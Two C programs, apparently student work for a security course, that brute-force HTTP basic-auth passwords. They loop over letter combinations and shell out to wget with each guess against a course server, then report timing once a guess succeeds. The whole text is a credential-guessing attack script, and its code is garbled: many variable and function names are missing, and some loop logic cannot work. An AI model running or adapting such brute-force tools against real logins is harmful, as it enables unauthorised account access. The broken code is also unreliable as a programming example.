#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<strings.h>
#include <ctype.h>
#include <math.h>
#include <sys/time.h>

int
()
{

	int , end;
	int             i, j, k, p;
	char            [52];
	char            tempch = 'a';
	char            password[3] = {'\0', '\0', '\0'};
	int             check, stop = 1;
	    
	float   total_time; 	
	int number; 
	 = time();	
 	

	
	for (i = 0; i < 26; i++) {
		[i] = tempch;
		tempch++;

	}
	tempch = 'A';
	for (i = 26; i < 52; i++) {
		[i] = tempch;
		tempch++;
	}

	
	if (stop == 1) {
		for (j = 0; j < 52; j++) {
			password[0] = [j];
			check = SysCall(password);
			if (check == 0) {
				getpid();
				end = time(); 
				total_time = (end-)/1e9;
				printf("\ntotal time_var = %f ", total_time);
				printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
				printf("\navg time_var  %f / %d = %f\n", total_time, number,total_time/number);

				exit(0);
				stop = 0;
			}
		}
		for (j = 0; j < 52; j++) {
			password[0] = [j];
			for (k = 0; k < 52; k++) {
				password[1] = [k];
				check = SysCall(password);
				if (check == 0) {
					
					getpid();
					end = time(); 
					total_time = (end-)/1e9;
					printf("\ntotal time_var = %f ", total_time);
					printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
					printf("\navg time_var  %f / %d = %f\n", total_time, number,total_time/number);

					exit(0);
					stop = 0;
				}
			}
		}


		for (j = 0; j < 52; j++) {
			password[0] = [j];
			for (k = 0; k < 52; k++) {
				password[1] = [k];
				for (p = 0; p < 52; p++) {
					password[2] = [p];
					check = SysCall(password);
					if (check == 0) {
					getpid();
					end = time(); 
					total_time = (end-)/1e9;
					printf("\ntotal time_var = %f ", total_time);
					printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
					printf("\navg time_var  %f / %d = %f\n", total_time, number,total_time/number);

						stop = 0;
						exit(0);
						
					}
				}
			}
		}


	}
	

	
	return (EXIT_SUCCESS);
}
int 
SysCall(char *password)
{
	char            url1[255], url2[255], [255];
	int             rettype;
	rettype = 0;
	strcpy(url1, "wget  --non-verbose --http-user= --http-passwd=");
	strcpy(url2, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");

	strcat(, url1);
	strcat(, password);
	strcat(, url2);
	
	printf("%s\t",password);
	fflush(stdout);
	rettype = system();

	if (rettype == 0) {
		printf("Successfully retrieved password: \'%s\'\n");
		return 0;
	}
	strcpy(, "");
}

#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>

int ()
{
 char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
 char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
 char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
 int a=0,b=0,c=0,d,e,count=0;
 char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50];
 char result,result1,result2,mx[100],mx1,mx2,mx3,mx4;
 
 int  ,end,t;
  = time(); 
while(sizeof(lc)!=52)
{
     temp2[0]=lc[d];
     temp2[1]='\0';
     d=d+1;
     strcpy(p,temp2);
   
   while(sizeof(uc)!=52)
   {
      temp3[0]=uc[b];
      temp3[1]='\0';
      b=b+1;
      strcpy(q,p);
      strcat(q,temp3);
    for(e=0;e<52;e++)
    {
        temp1[0]=gc[e];
	temp1[1]='\0';
	strcpy(r,q);
	strcat(r,temp1);
       strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd=");
       strcat(mx,r);
       printf("temp3=%s\n",mx);
       if(system(mx)==0)
       { 
         printf("Password=%s\n",mx);
	 printf("%d \n",count);
	 end = time();
         t = (end -);
         t /= 1000000000.0;
         printf("The total time_var taken is:%llds\n",t);
	 exit(1);
       
       }
      }
     }
 }
 return 0;
}
